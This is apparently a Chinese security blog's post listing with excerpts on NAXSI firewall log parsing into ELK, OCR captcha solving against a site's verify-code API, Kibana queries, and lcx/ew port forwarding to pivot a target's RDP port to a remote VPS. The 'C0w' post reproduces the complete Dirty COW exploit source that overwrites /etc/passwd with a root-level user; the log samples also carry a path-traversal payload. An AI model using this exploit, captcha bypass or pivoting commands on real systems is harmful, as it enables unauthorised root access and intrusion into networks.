wubba lubba dub dub.
post @ 2017-10-25

NAXSI防火墙介绍: https://github.com/nbs-system/naxsi
配置安装: https://klionsec.github.io/2017/09/18/naxsiwaf/
主要功能:

过滤XSS,SQL注入,文件上传,文件遍历

NAXSI拦截攻击之后,会产生对应的日志。类似格式是这样的:

2017/10/25 14:52:34 [error] 896#0: *15 NAXSI_EXLOG: ip=192.168.141.232&server=192.168.182.141&uri=/sqli-labs/Less-11/index.php&id=1200&zone=BODY&var_name=passwd&content=admin../../../etc/passwd, client: 192.168.141.232, server: _, request: "POST /sqli-labs/Less-11/index.php HTTP/1.1", host: "192.168.182.141:8000", referrer: "http://192.168.182.141:8000/sqli-labs/Less-11/index.php"
2017/10/25 14:52:34 [error] 896#0: *15 NAXSI_FMT: ip=192.168.141.232&server=192.168.182.141&uri=/sqli-labs/Less-11/index.php&learning=0&vers=0.55.3&total_processed=4&total_blocked=4&block=1&cscore0=$TRAVERSAL&score0=12&zone0=BODY&id0=1200&var_name0=passwd, client: 192.168.141.232, server: _, request: "POST /sqli-labs/Less-11/index.php HTTP/1.1", host: "192.168.182.141:8000", referrer: "http://192.168.182.141:8000/sqli-labs/Less-11/index.php"

这里我打开了naxsi的EXLOG开关,这样当收集到攻击的日志,可以查看对应的请求内容: https://github.com/nbs-system/naxsi/wiki/naxsilogs
现在的目标是如何把上面的日志手收集到elk里面方便图形化查看,以下操作,先在logstash里面新建文件夹,写自己的正则:

logstash> mkdir pattern
logstash> cd pattern
logstash> vim naxsi
DA1 \d{4}/\d{2}/\d{2}
TM1 \d{2}:\d{2}:\d{2}
LEVEL (\w+)
NUM1 \d+(?:#0: \*)
NUM2 \d+
EXLOG NAXSI_EXLOG
FMT NAXSI_FMT
ID1 (\d+)
ZONE \w+
VAR1  (.*)
CONTENT (.*)
T3 \w+
T4 HTTP/1\.1", host: "(.*)", referrer: "
HOST (.*)
NAXSI %{DA1:date}\s%{TM1:time}\s\[%{LEVEL:level}\]\s%{NUM1:num1}%{NUM2:request_id}\s(?<logtype>NAXSI_EXLOG):\s\w+=%{HOST:client_ip}&server=%{HOST:hostname}&uri=%{PROG:filepath}&id=%{ID1:id}&zone=%{ZONE:zone}&var_name=%{VAR1:var}&content=%{CONTENT:content},\sclient\:\s%{HOST:ip3},\sserver:\s(.*)\srequest:\s"%{T3:method}\s%{HOST:uri}\sHTTP/1\.1",\shost:\s"%{HOST:host22}"
NAXSI2 %{DA1:date}\s%{TM1:time}\s\[%{LEVEL:level}\]\s%{NUM1:num1}%{NUM2:request_id}\s(?<logtype>NAXSI_EXLOG):\s\w+=%{HOST:client_ip}&server=%{HOST:hostname}&uri=%{PROG:filepath}&id=%{ID1:id}&zone=%{ZONE:zone}&var_name=%{VAR1:var}&content=%{CONTENT:content},\sclient\:\s%{HOST:ip3},\sserver:\s(.*)\srequest:\s"%{T3:method}\s%{HOST:uri}\sHTTP/1\.1",\shost:\s"%{HOST:host22}",\sreferrer:\s"(?<referrer>(.*))
NAXSI3 %{DA1:date}\s%{TM1:time}\s\[%{LEVEL:level}\]\s(\d+(?:#0:\s\*))%{NUM2:request_id}\s(?<logtype>NAXSI_EXLOG)(.*)&var_name=%{VAR1:var}&content=%{CONTENT:content},\sclient\:\s(.*),\sserver:\s(.*)\srequest:\s"%{T3:method}\s%{HOST:uri}
NAXSI4 %{DA1:date}\s%{TM1:time}\s\[%{LEVEL:level}\]\s(\d+(?:#0:\s\*))%{NUM2:request_id}\s(?<logtype>NAXSI_EXLOG)(.*)&var_name=%{VAR1:var}&content=%{CONTENT:content},\sclient\:\s(.*),\sserver:\s(.*)\srequest:\s"%{T3:method}\s%{HOST:uri}\sHTTP/1\.1",\shost:\s"%{HOST:host}",\sreferrer:\s"(?<referrer>(.*))
FMT %{DA1:date}\s%{TM1:time}\s\[%{LEVEL:level}\]\s%{NUM1:num1}%{NUM2:request_id}\s(?<logtype>NAXSI_FMT):\sip=%{HOST:client_ip}&server=%{HOST:server_ip}&uri=%{UNIXPATH:uri}&learning=%{HOST:learing}&vers=%{HOST:vers}&total_processed=%{HOST:toal_processed}&total_blocked=%{HOST:total_blocked}&block=%{HOST:block}&cscore0=%{HOST:attack}&score0=%{HOST:score0}&cscore1=%{HOST:xss}&score1=%{HOST:score}&zone0=%{WORD:args}&id0=%{NUMBER:id}&var_name0=%{HOST:varname},\sclient:\s%{HOST:ip3},\sserver:\s(.*)\srequest:\s"%{T3:method}\s%{HOST:uri}\sHTTP/1\.1",\shost:\s"%{HOST:host22}"
FMT_R %{DA1:date}\s%{TM1:time}\s\[%{LEVEL:level}\]\s%{NUM1:num1}%{NUM2:request_id}\s(?<logtype>NAXSI_FMT):\sip=%{HOST:client_ip}&server=%{HOST:server_ip}&uri=%{UNIXPATH:uri}&learning=%{HOST:learing}&vers=%{HOST:vers}&total_processed=%{HOST:toal_processed}&total_blocked=%{HOST:total_blocked}&block=%{HOST:block}&cscore0=%{HOST:attack},\sclient:\s(.*)

上面这一坨翔就是解析最上面日志的正则,其中用到的是NAXSI3,NAXSI4,FMT_R,其他是调试用的。然后給logstash添加plugin:

bin/logstash-plugin install logstash-filter-grok
bin/logstash-plugin install logstash-filter-ruby

然后配置/etc/logstash.conf文件:

input{
     file {
       path => "/usr/local/nginx/logs/naxsi.err"
       type => "naxsi-error"
       start_position => "beginning"
   			}
}
filter{
     if [type] == "naxsi-error" {
	grok {
		patterns_dir => "/opt/logstash-5.5.1/pattern"
		match => [ "message" , "%{NAXSI4}",
			   "message" , "%{NAXSI3}",
			   "message" , "%{FMT_R}"
			]
  	     }
	ruby {
	code => "require 'digest/md5';
	event.set('computed_id', Digest::MD5.hexdigest(event.get('request_id')+event.get('time')) + '_' + event.get('logtype'))"
	    }

}
}
output{
      if [type] == "naxsi-error" {
	elasticsearch {
	   hosts => ["localhost"]
	   index => "nxapi"
           document_id => "%{computed_id}"
	}
	stdout { codec => rubydebug}
     }
}
Read More
post @ 2017-09-26

先灰度处理

img = Image.open('1317.png') # 打开图片
img = img.convert('L') # 转换成灰度图片
img.save('1317-L.png') # 保存图片

然后是二值化, 二值化处理之后,投影

以预发布为例子,获取验证的url: https://wxxx.net/api/h5/getVerifyCode
得到的验证码是base64编码,使用python解码之后保存即可:

import requests
url = "https://xxxxx/getVerifyCode"

for i in range(20):
	imgfile = str(i) + '.jpg'
	req = requests.get(url)
	image_data = req.json()["result"]["imageEncode"]
	fh = open("/xxx/Desktop/imagecode/" + imgfile, "wb")
	fh.write(image_data.decode('base64'))

上面的代码可以获取20个验证码,
然后处理验证码:

先灰度处理–> 二值化 –> 投影或者使用8邻域算法

我们这里使用8邻域算法。

# coding: utf-8
from PIL import Image
import os
import re
import pytesseract

def binarizing(img, threshold):
   img = img.convert("L")
   pixdata = img.load()
   w, h = img.size
   for y in range(h):
      for x in range(w):
         if pixdata[x, y] < threshold:
            pixdata[x, y] = 0
         else:
            pixdata[x, y] = 255
   return img
   # img.save("/xxx/Desktop/imagecode/43.jpg")


def depoint(img):
   pixdata = img.load()
   w,h = img.size
   for y in range(1,h-1):
      for x in range(1, w-1):
         count = 0
         if pixdata[x, y-1] > 245:
            count = count + 1
         if pixdata[x, y+1] > 245:
            count = count + 1
         if pixdata[x-1, y] > 245:
            count = count + 1
         if pixdata[x+1, y] > 245:
            count = count + 1
         if pixdata[x-1, y-1] > 245:
            count = count + 1
         if pixdata[x-1, y+1] > 245:
            count = count + 1
         if pixdata[x+1, y-1] > 245:
            count = count + 1
         if pixdata[x+1, y+1] > 245:
            count = count + 1
         if count > 4:
            pixdata[x, y] = 255
   return img

path = "/xxx/Desktop/imagecode"
pattern = re.compile(r"[a-zA-Z0-9]")
images = os.listdir(path)
for image in images:
   if image.split(".")[1] == "jpg":
      img = Image.open("/xxx/Desktop/imagecode/" + image)
      b_img = binarizing(img, 230)
      v = depoint(b_img)
      vcode = pytesseract.image_to_string(v)
      matches = re.findall(pattern, vcode)
      filename = ''.join(map(str, matches))
      v.save("/xxx/Desktop/train/" + filename + '.jpg')

http://www.hi-roy.com/source/all-tags/%E9%AA%8C%E8%AF%81%E7%A0%81%E8%AF%86%E5%88%AB/

Read More

C0w

post @ 2017-09-12

https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c

Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}
Read More
post @ 2017-08-15

kibana里面开始添加index的时候,先查看es的索引:

curl 'localhost:9200/_cat/indices?v'

然后添加的时候直接写索引名字就行了。

在kibana里面添加filter:

搜索近三天的数据:

 
 {
  "query": {
    "range": {
      "@timestamp": {
        "gt": "now-3d"
      }
    }
  }
}

搜索某一天的数据:

 
{
  "query": {
    "range": {
      "@timestamp": {
        "gt": "2017-08-15T01:00:00.900",
        "lt": "2017-08-15T23:59:00.900"
      }
    }
  }
}

在kibana里面的Dev Tools可以直接操作es数据库:

查询数据库某一天的数据:

Read More
post @ 2017-08-12

端口转发

首先第一点: 端口转发和socks代理两个是不一样的东西。

根据http://rootkiter.com/2015/04/28/LCX_SOCKS.html里面提到的端口转发工具有三种工作状态:

  • slave 客户端接客户端 -slave ConnectHost ConnectPort TransmitHost TransmitPort
  • tran 服务端接客户端 -tran ConnectPort TransmitHost TransmitPort
  • listen 服务端接服务端 -listen ConnectPort TransmitPort

再来个例子https://xianzhi.aliyun.com/forum/read/735.html

lcx.exe -slave 139.xx.xx.xx 9000 10.10.10.2 3389 //目标机器的所有数据转发到公网vps的9000端口
lcx.exe -listen 9000 5555   //将本机9000端口监听的数据转发到本机5555端口
通过上门两个端口转发,可以登陆vps上面的5555端口,或者vps上面127.0.0.1的的5555端口

上面两个对应的ew是这么写的:

ew.exe -s lcx_slave -d 45.xx.xx.xx -e 9000 -f 127.0.0.1 -g 3389
./ew_for_linux64 -s lcx_listen -l 5555 -e 9000

第一个靶机可以抓发vps访问不到的ip,比如linux的22端口,也就是把这个机子作为跳板。 

Socks5代理

  • 如果目标有公网IP:
Read More
⬆︎TOP